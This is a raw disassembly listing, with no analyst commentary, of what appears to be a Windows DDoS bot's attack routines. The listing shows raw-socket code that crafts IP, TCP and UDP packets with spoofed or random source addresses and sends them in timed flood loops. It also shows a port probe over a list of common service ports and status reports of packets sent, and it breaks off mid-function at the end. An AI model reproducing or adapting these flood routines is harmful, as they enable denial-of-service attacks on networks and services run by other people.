var_A4 = byte ptr -0A4h
var_A3 = byte ptr -0A3h
var_A2 = word ptr -0A2h
Src = byte ptr -0A0h
var_8C = byte ptr -8Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_68 = byte ptr -68h
var_64 = byte ptr -64h
var_63 = byte ptr -63h
var_62 = byte ptr -62h
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_52 = word ptr -52h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = word ptr -40h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = word ptr -2Ch
Dst = byte ptr -28h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_194 = dword ptr 19Ch
arg_198 = dword ptr 1A0h
push ebp
mov ebp, esp
sub esp, 0CCh
push ebx
push esi
mov esi, ds:dword_4270A8
xor ebx, ebx
push edi
mov [ebp+var_4], ebx
call esi ; GetTickCount
push 0FFh
push 3
push 2
mov [ebp+var_10], eax
call dword_4CB6D4 ; socket
mov [ebp+var_8], eax
call esi ; GetTickCount
push eax
call sub_41B8D8
pop ecx
mov edi, 578h
push edi ; Size
push 9
push 1
call sub_418685
pop ecx
pop ecx
push eax ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call _memset
add esp, 0Ch
mov esi, 5A0h
loc_4144DE: ; CODE XREF: sub_414484+235j
call ds:dword_4270A8 ; GetTickCount
sub eax, [ebp+var_10]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_198]
ja loc_4146BE
cmp dword_4CEE08, ebx
jnz short loc_41455D
push 10h
pop eax
mov [ebp+var_14], eax
push eax ; Size
lea eax, [ebp+var_68]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_68]
push eax
push [ebp+arg_0]
call dword_4CB5F8 ; getsockname
push 0FFh
push 1
call sub_418685
pop ecx
pop ecx
push eax
movzx eax, [ebp+var_62]
push eax
movzx eax, [ebp+var_63]
push eax
movzx eax, [ebp+var_64]
push eax
lea eax, [ebp+Dest]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax ; Dest
call _sprintf
add esp, 18h
jmp short loc_414570
; ---------------------------------------------------------------------------
loc_41455D: ; CODE XREF: sub_414484+7Ej
lea eax, [ebp+Dest]
push offset byte_4CE7E8 ; Source
push eax ; Dest
call _strcpy
pop ecx
pop ecx
loc_414570: ; CODE XREF: sub_414484+D7j
lea eax, [ebp+Dest]
push eax
call dword_4CB694 ; inet_addr
mov [ebp+var_C], eax
mov eax, [ebp+var_58]
and al, 45h
push esi
or al, 45h
mov [ebp+var_54], 10h
mov [ebp+var_58], eax
call dword_4CB654 ; htons
mov [ebp+var_52], ax
call _rand
mov [ebp+var_50], ax
mov eax, [ebp+var_C]
mov [ebp+var_48], eax
mov eax, [ebp+arg_194]
mov [ebp+var_4E], 40h
mov [ebp+var_4C], 40h
mov [ebp+var_4B], 6
mov [ebp+var_4A], bx
mov [ebp+var_44], eax
call _rand
mov [ebp+var_40], ax
call _rand
mov [ebp+var_3E], ax
call _rand
mov [ebp+var_3C], eax
call _rand
mov [ebp+var_38], eax
mov eax, [ebp+var_34]
and ax, 0FF50h
push 14h
or al, 50h
mov byte ptr [ebp+var_34+2], 18h
mov word ptr [ebp+var_34], ax
mov ax, [ebp+var_3E]
mov [ebp+var_76], ax
mov eax, [ebp+var_44]
mov [ebp+var_74], eax
lea eax, [ebp+var_58]
push eax
mov [ebp+var_30], 787Dh
mov [ebp+var_2E], bx
mov [ebp+var_2C], bx
mov [ebp+var_78], 2
call sub_41437A
mov [ebp+var_4A], ax
lea eax, [ebp+var_58]
push 28h
push eax
call sub_41437A
mov eax, [ebp+var_48]
add esp, 10h
mov [ebp+var_AC], eax
mov eax, [ebp+var_44]
push 58Ch
mov [ebp+var_A8], eax
mov [ebp+var_A4], bl
mov [ebp+var_A3], 6
call ds:dword_427210 ; htons
mov [ebp+var_A2], ax
lea eax, [ebp+Src]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_40]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_8C]
push edi ; Size
push eax ; Src
lea eax, [ebp+Dst]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_AC]
push 598h
push eax
call sub_41437A
add esp, 20h
mov [ebp+var_2E], ax
push 10h
lea eax, [ebp+var_78]
push eax
push ebx
lea eax, [ebp+var_58]
push esi
push eax
push [ebp+var_8]
call dword_4CB6B8 ; sendto
inc [ebp+var_4]
jmp loc_4144DE
; ---------------------------------------------------------------------------
loc_4146BE: ; CODE XREF: sub_414484+72j
push [ebp+var_8]
call dword_4CB6EC ; closesocket
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_414484 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4146CF proc near ; DATA XREF: sub_401ACD+4CC0o
Dest = byte ptr -414h
var_214 = byte ptr -214h
var_10 = dword ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov edx, [ebp+arg_0]
push esi
mov eax, 85h
push edi
mov ecx, eax
mov esi, edx
lea edi, [ebp+var_214]
sub esp, 214h
rep movsd
mov ecx, eax
lea esi, [ebp+var_214]
mov edi, esp
mov dword ptr [edx+210h], 1
rep movsd
call sub_414746
add esp, 214h
push eax
lea eax, [ebp+Dest]
push offset asc_4365DC ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_10]
call sub_40B413
add esp, 14h
push 0
call ds:dword_4270CC ; ExitThread
sub_4146CF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_414746(int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_414746 proc near ; CODE XREF: sub_4146CF+3Bp
Dest = byte ptr -254h
var_54 = byte ptr -54h
Dst = byte ptr -34h
var_30 = byte ptr -30h
var_2F = byte ptr -2Fh
var_2E = byte ptr -2Eh
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_84 = byte ptr 8Ch
Str = byte ptr 10Ch
arg_184 = byte ptr 18Ch
arg_208 = dword ptr 210h
arg_20C = dword ptr 214h
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
mov ebx, 0FFh
push edi
push ebx
push 3
push 2
call dword_4CB6D4 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jnz short loc_414784
lea eax, [ebp+Dest]
push offset asc_4367CC ; "-"
push eax ; Dest
call _sprintf
pop ecx
xor edi, edi
pop ecx
jmp loc_414A4D
; ---------------------------------------------------------------------------
loc_414784: ; CODE XREF: sub_414746+22j
lea ecx, [ebp+var_14]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_14], 1
call dword_4CB634 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_4147B0
call dword_4CB5E8 ; WSAGetLastError
push eax
push offset unk_43677C
jmp short loc_4147CB
; ---------------------------------------------------------------------------
loc_4147B0: ; CODE XREF: sub_414746+5Aj
lea eax, [ebp+arg_4]
push eax
call dword_4CB694 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_4147DF
call dword_4CB5E8 ; WSAGetLastError
push eax
push offset asc_436738 ; "-"
loc_4147CB: ; CODE XREF: sub_414746+68j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_414A4D
; ---------------------------------------------------------------------------
loc_4147DF: ; CODE XREF: sub_414746+77j
push edi
mov [ebp+var_24], 2
call dword_4CB654 ; htons
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call ds:dword_42720C ; inet_addr
mov esi, ds:dword_4270A8
mov [ebp+var_20], eax
call esi ; GetTickCount
mov [ebp+var_8], eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+Dest]
push offset asc_43670C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+arg_20C], edi
jnz short loc_414848
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_208] ; int
push eax ; int
lea eax, [ebp+arg_184]
push eax ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
loc_414848: ; CODE XREF: sub_414746+E0j
mov [ebp+var_4], edi
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, eax
lea eax, [ebp+Str]
push eax ; Str
call _atoi
cmp esi, eax
pop ecx
ja loc_414A03
mov esi, 41Ch
jmp short loc_41487C
; ---------------------------------------------------------------------------
loc_414877: ; CODE XREF: sub_414746+2B7j
mov ebx, 0FFh
loc_41487C: ; CODE XREF: sub_414746+12Fj
cmp dword_4CEE08, edi
jnz short loc_4148D6
push 10h
pop eax
mov [ebp+var_10], eax
push eax ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
call dword_4CB5F8 ; getsockname
push ebx
push 1
call sub_418685
pop ecx
pop ecx
push eax
movzx eax, [ebp+var_2E]
push eax
movzx eax, [ebp+var_2F]
push eax
movzx eax, [ebp+var_30]
push eax
lea eax, [ebp+var_54]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax ; Dest
call _sprintf
add esp, 18h
jmp short loc_4148E6
; ---------------------------------------------------------------------------
loc_4148D6: ; CODE XREF: sub_414746+13Cj
lea eax, [ebp+var_54]
push offset byte_4CE7E8 ; Source
push eax ; Dest
call _strcpy
pop ecx
pop ecx
loc_4148E6: ; CODE XREF: sub_414746+18Ej
push esi
mov byte_4CE9E8, 45h
call dword_4CB654 ; htons
mov word_4CE9EA, ax
lea eax, [ebp+var_54]
push eax
mov word_4CE9EC, 1
mov word_4CE9EE, di
mov byte_4CE9F0, 80h
mov byte_4CE9F1, 11h
mov word_4CE9F2, di
call dword_4CB694 ; inet_addr
mov dword_4CE9F4, eax
mov eax, [ebp+var_20]
mov dword_4CE9F8, eax
lea eax, [ebp+arg_84]
push eax ; Str
mov word_4CEA02, di
call _atoi
test eax, eax
pop ecx
jnz short loc_41495E
call _rand
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_41496C
; ---------------------------------------------------------------------------
loc_41495E: ; CODE XREF: sub_414746+206j
lea eax, [ebp+arg_84]
push eax ; Str
call _atoi
pop ecx
push eax
loc_41496C: ; CODE XREF: sub_414746+216j
call dword_4CB654 ; htons
mov word_4CE9FE, ax
call _rand
cdq
mov ecx, 401h
push 408h
idiv ecx
mov word_4CE9FC, dx
call dword_4CB654 ; htons
push 400h ; Size
mov word_4CEA00, ax
call _rand
cdq
idiv ebx
push edx ; Val
push offset dword_4CEA04 ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_24]
push 10h
push eax
push edi
push esi
push offset byte_4CE9E8
push [ebp+var_C]
call dword_4CB6B8 ; sendto
cmp eax, 0FFFFFFFFh
jz loc_414A7C
inc [ebp+var_4]
call ds:dword_4270A8 ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, eax
lea eax, [ebp+Str]
push eax ; Str
call _atoi
cmp ebx, eax
pop ecx
jbe loc_414877
loc_414A03: ; CODE XREF: sub_414746+124j
push [ebp+var_C]
call dword_4CB6EC ; closesocket
mov esi, [ebp+var_4]
lea eax, [ebp+Str]
push eax ; Str
imul esi, 41Ch
call _atoi
pop ecx
xor edx, edx
mov ecx, eax
mov eax, esi
shr eax, 0Ah
div ecx
shr esi, 14h
push eax
push esi
push [ebp+var_4]
lea eax, [ebp+arg_4]
push eax
push offset asc_4366A8 ; "-"
loc_414A3E: ; CODE XREF: sub_414746+34Aj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 18h
loc_414A4D: ; CODE XREF: sub_414746+39j
; sub_414746+94j
cmp [ebp+arg_20C], edi
jnz short loc_414A75
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_208] ; int
push eax ; int
lea eax, [ebp+arg_184]
push eax ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
loc_414A75: ; CODE XREF: sub_414746+30Dj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_414A7C: ; CODE XREF: sub_414746+28Bj
push [ebp+var_4]
push esi
call dword_4CB5E8 ; WSAGetLastError
push eax
lea eax, [ebp+arg_4]
push eax
push offset unk_43661C
jmp short loc_414A3E
sub_414746 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414A92 proc near ; DATA XREF: sub_401ACD+6362o
Dest = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
Str = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+Str]
push eax ; Str
call _atoi
pop ecx
push eax
lea eax, [ebp+var_190]
push eax ; Str
call _atoi
pop ecx
push eax
lea eax, [ebp+var_210]
push eax
call dword_4CB694 ; inet_addr
push eax
call sub_414C2F
add esp, 0Ch
push eax
lea eax, [ebp+Dest]
push offset asc_4367F8 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_414B27
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+var_90]
push eax ; Str
push [ebp+var_214] ; int
call sub_409A73
add esp, 14h
loc_414B27: ; CODE XREF: sub_414A92+73j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_10]
call sub_40B413
pop ecx
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
sub_414A92 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414B46 proc near ; CODE XREF: sub_414C2F+194p
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
cmp [ebp+arg_C], 0
push esi
push edi
jnz short loc_414B6F
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_427214 ; connect
jmp loc_414C2B
; ---------------------------------------------------------------------------
loc_414B6F: ; CODE XREF: sub_414B46+13j
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
push 8004667Eh
push esi
mov [ebp+var_8], edi
call ds:dword_4271F8 ; ioctlsocket
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CB5FC ; connect
push [ebp+arg_C]
lea eax, [ebp+var_210]
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
push 0
push eax
lea eax, [ebp+var_10C]
mov [ebp+var_20C], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_210], edi
call dword_4CB63C ; select
test eax, eax
jnz short loc_414BD3
or eax, 0FFFFFFFFh
jmp short loc_414C2B
; ---------------------------------------------------------------------------
loc_414BD3: ; CODE XREF: sub_414B46+86j
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_414BDE
loc_414BDA: ; CODE XREF: sub_414B46+B8j
; sub_414B46+DCj
mov eax, edi
jmp short loc_414C2B
; ---------------------------------------------------------------------------
loc_414BDE: ; CODE XREF: sub_414B46+92j
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426756 ; __WSAFDIsSet
test eax, eax
jnz short loc_414C00
lea eax, [ebp+var_210]
push eax
push esi
call sub_426756 ; __WSAFDIsSet
test eax, eax
jz short loc_414BDA
loc_414C00: ; CODE XREF: sub_414B46+A7j
lea eax, [ebp+arg_0]
mov [ebp+arg_0], 4
push eax
lea eax, [ebp+var_4]
push eax
push 1007h
push 0FFFFh
push esi
call ds:dword_4271E0 ; getsockopt
cmp eax, edi
jz short loc_414BDA
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
loc_414C2B: ; CODE XREF: sub_414B46+24j
; sub_414B46+8Bj ...
pop edi
pop esi
leave
retn
sub_414B46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414C2F proc near ; CODE XREF: sub_414A92+51p
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_9C = word ptr -9Ch
var_9A = word ptr -9Ah
var_98 = dword ptr -98h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
push edi
push 1
pop eax
xor ebx, ebx
push eax
push ebx
push ebx
push 0FFh
push 3
push 2
mov [ebp+var_14], eax
call ds:dword_427208 ; WSASocketA
lea ecx, [ebp+var_14]
push 4
push ecx
push 2
push ebx
push eax
mov dword_4CEE78, eax
call dword_4CB634 ; setsockopt
mov esi, ds:dword_4270A8
call esi ; GetTickCount
push eax
call sub_41B8D8
pop ecx
xor eax, eax
push 19h
lea edi, [ebp+var_100]
pop ecx
mov [ebp+var_10C], ebx
mov [ebp+var_7C], ecx
mov [ebp+var_108], ebx
mov [ebp+var_104], ebx
mov [ebp+var_8C], 401h
mov [ebp+var_88], 15h
mov [ebp+var_84], 16h
mov [ebp+var_80], 17h
mov [ebp+var_78], 35h
mov [ebp+var_74], 50h
mov [ebp+var_70], 51h
mov [ebp+var_6C], 58h
mov [ebp+var_68], 6Eh
mov [ebp+var_64], 71h
mov [ebp+var_60], 77h
mov [ebp+var_5C], 87h
mov [ebp+var_58], 89h
mov [ebp+var_54], 8Bh
mov [ebp+var_50], 8Fh
mov [ebp+var_4C], 1BBh
mov [ebp+var_48], 1BDh
mov [ebp+var_44], 400h
mov [ebp+var_40], 599h
mov [ebp+var_3C], 5DCh
mov [ebp+var_38], 6B8h
mov [ebp+var_34], 0CEAh
mov [ebp+var_30], 0D3Dh
mov [ebp+var_2C], 1388h
mov [ebp+var_28], 1A0Bh
mov [ebp+var_24], 1F40h
mov [ebp+var_20], 1F90h
rep stosd
mov [ebp+var_10], ebx
mov [ebp+var_1C], 3
mov [ebp+var_18], 0BB8h
mov [ebp+var_4], ebx
loc_414D75: ; CODE XREF: sub_414C2F+1C1j
mov eax, [ebp+arg_0]
mov [ebp+var_9C], 2
mov [ebp+var_98], eax
mov eax, [ebp+var_4]
lea edi, [ebp+eax+var_8C]
mov ax, word ptr [ebp+eax+var_8C]
push eax
call dword_4CB654 ; htons
push ebx
push 1
push 2
mov [ebp+var_9A], ax
call dword_4CB6D4 ; socket
lea ecx, [ebp+var_1C]
mov [ebp+var_C], eax
push ecx
lea ecx, [ebp+var_9C]
push 10h
push ecx
push eax
call sub_414B46
add esp, 10h
mov [ebp+var_8], eax
push [ebp+var_C]
call dword_4CB6EC ; closesocket
cmp [ebp+var_8], ebx
jnz short loc_414DE8
mov ecx, [ebp+var_4]
mov eax, [edi]
mov [ebp+ecx+var_10C], eax
loc_414DE8: ; CODE XREF: sub_414C2F+1ABj
add [ebp+var_4], 4
cmp [ebp+var_4], 70h
jl short loc_414D75
mov edi, offset byte_4CEE7C
push offset asc_42D124 ; " "
push edi ; Dest
call _sprintf
pop ecx
pop ecx
call esi ; GetTickCount
mov [ebp+var_C], eax
lea eax, [ebp+var_10C]
mov [ebp+var_4], ebx
mov [ebp+var_8], eax
loc_414E15: ; CODE XREF: sub_414C2F+23Cj
call esi ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_414E6D
mov eax, [ebp+var_8]
mov eax, [eax]
cmp eax, ebx
jz short loc_414E46
push eax
push edi
push offset aSD ; "%s%d "
push edi ; Dest
mov [ebp+var_10], eax
call _sprintf
add esp, 10h
jmp short loc_414E60
; ---------------------------------------------------------------------------
loc_414E46: ; CODE XREF: sub_414C2F+200j
push 0FFFFh
push ebx
call sub_418685
pop ecx
pop ecx
push eax
call dword_4CB654 ; htons
movzx eax, ax
mov [ebp+var_10], eax
loc_414E60: ; CODE XREF: sub_414C2F+215j
inc [ebp+var_4]
add [ebp+var_8], 4
cmp [ebp+var_4], 1Ch
jl short loc_414E15
loc_414E6D: ; CODE XREF: sub_414C2F+1F7j
; sub_414C2F+477j
push 28h ; Size
push ebx ; Val
push offset byte_4CEE18 ; Dst
call _memset
mov esi, 0FFFFh
mov byte_4CEE18, 45h
push esi
push 400h
mov byte_4CEE21, 6
mov byte_4CEE19, 8
call sub_418685
add esp, 14h
push eax
call dword_4CB654 ; htons
push 28h
mov word_4CEE1C, ax
call dword_4CB654 ; htons
or byte_4CEE20, 0FFh
cmp dword_4CEE08, ebx
mov word_4CEE1A, ax
mov word_4CEE1E, bx
jnz short loc_414EED
push 0FFFEh
push 1
call sub_418685
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
shl eax, 10h
and ecx, esi
or eax, ecx
jmp short loc_414EF8
; ---------------------------------------------------------------------------
loc_414EED: ; CODE XREF: sub_414C2F+2A2j
push offset byte_4CE7E8
call dword_4CB694 ; inet_addr
loc_414EF8: ; CODE XREF: sub_414C2F+2BCj
mov dword_4CEE24, eax
mov eax, [ebp+arg_0]
push 4000h
mov dword_4CEE28, eax
mov byte_4CEE39, bl
call dword_4CB654 ; htons
push esi
push ebx
mov word_4CEE3A, ax
call sub_418685
mov edi, eax
push esi
push ebx
shl edi, 8
call sub_418685
add esp, 10h
add edi, eax
push edi
call dword_4CB650 ; htonl
mov dword_4CEE30, eax
mov al, byte_4CEE38
mov edi, [ebp+arg_0]
and al, 0Fh
or al, 50h
push 14h
mov byte_4CEE38, al
mov ax, word ptr [ebp+var_10]
mov dword_4CEE34, ebx
mov word_4CEE3E, bx
mov word_4CEE2E, ax
mov dword_4CEE54, edi
mov byte_4CEE58, bl
mov byte_4CEE59, 6
call dword_4CB654 ; htons
mov word_4CEE5A, ax
mov ax, word_4CEE2E
mov word_4CEE40, 2
mov dword_4CEE44, edi
mov word_4CEE42, ax
mov [ebp+var_4], ebx
jmp short loc_414FAE
; ---------------------------------------------------------------------------
loc_414FA9: ; CODE XREF: sub_414C2F+451j
mov esi, 0FFFFh
loc_414FAE: ; CODE XREF: sub_414C2F+378j
cmp [ebp+var_4], ebx
jnz short loc_414FE2
push esi
push ebx
call sub_418685
pop ecx
pop ecx
push eax
call dword_4CB654 ; htons
mov word_4CEE2C, ax
mov eax, dword_4CEE24
mov dword_4CEE50, eax
mov byte_4CEE39, 2
mov dword_4CEE34, ebx
jmp short loc_415001
; ---------------------------------------------------------------------------
loc_414FE2: ; CODE XREF: sub_414C2F+382j
push esi
push ebx
mov byte_4CEE39, 10h
call sub_418685
pop ecx
pop ecx
push eax
call dword_4CB654 ; htons
movzx eax, ax
mov dword_4CEE34, eax
loc_415001: ; CODE XREF: sub_414C2F+3B1j
inc word_4CEE1C
inc dword_4CEE30
mov ax, word_4CEE2E
push 5
pop ecx
mov esi, offset word_4CEE2C
mov edi, offset dword_4CEE5C
mov word_4CEE22, bx
mov word_4CEE3C, bx
push 14h
rep movsd
mov esi, offset byte_4CEE18
mov word_4CEE42, ax
push esi
call sub_40AC69
push 20h
push offset dword_4CEE50
mov word_4CEE22, ax
call sub_40AC69
add esp, 10h
mov word_4CEE3C, ax
push 10h
push offset word_4CEE40
push ebx
push 28h
push esi
push dword_4CEE78
call dword_4CB6B8 ; sendto
inc [ebp+var_4]
cmp [ebp+var_4], 3FFh
jl loc_414FA9
call ds:dword_4270A8 ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_4150AB
push [ebp+arg_8]
call ds:dword_427078 ; Sleep
jmp loc_414E6D
; ---------------------------------------------------------------------------
loc_4150AB: ; CODE XREF: sub_414C2F+46Cj
pop edi
pop esi
mov eax, offset byte_4CEE7C
pop ebx
leave
retn
sub_414C2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4150B5(char *Str2,int)
sub_4150B5 proc near ; CODE XREF: sub_401ACD+7200p
var_4 = dword ptr -4
Str2 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43D810
mov edi, 0B8h
loc_4150C9: ; CODE XREF: sub_4150B5+33j
cmp byte ptr [esi], 0
jz short loc_4150EC
push [ebp+Str2] ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_4150EC
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43E390
jl short loc_4150C9
jmp short loc_41512E
; ---------------------------------------------------------------------------
loc_4150EC: ; CODE XREF: sub_4150B5+17j
; sub_4150B5+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi ; Size
push 0 ; Val
lea ebx, dword_43D810[esi]
push ebx ; Dst
call _memset
push 17h ; Count
push [ebp+Str2] ; Source
push ebx ; Dest
call _strncpy
push 9Fh ; Count
lea eax, dword_43D828[esi]
push [ebp+arg_4] ; Source
push eax ; Dest
call _strncpy
add esp, 24h
inc dword_4294D0
pop ebx
loc_41512E: ; CODE XREF: sub_4150B5+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_4150B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415135(int,char *Str,int)
sub_415135 proc near ; CODE XREF: sub_401ACD+28DEp
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0 ; int
push [ebp+arg_8] ; int
push offset dword_436840 ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
xor edi, edi
mov esi, offset dword_43D810
loc_41515F: ; CODE XREF: sub_415135+72j
cmp byte ptr [esi], 0
jz short loc_41519A
lea eax, [esi+18h]
push eax
push esi
push edi
push offset aD_ ; "%d. "
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 2Ch
loc_41519A: ; CODE XREF: sub_415135+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43E390
jl short loc_41515F
pop edi
pop esi
leave
retn
sub_415135 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151AD proc near ; CODE XREF: WinMain(x,x,x,x)+384p
; WinMain(x,x,x,x)+408p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call ds:dword_42712C ; GetLocalTime
mov ebx, offset byte_4D327C
mov edi, 80h
mov esi, offset byte_4CF27C
loc_4151CF: ; CODE XREF: sub_4151AD+3Dj
cmp byte ptr [ebx], 0
jz short loc_4151E6
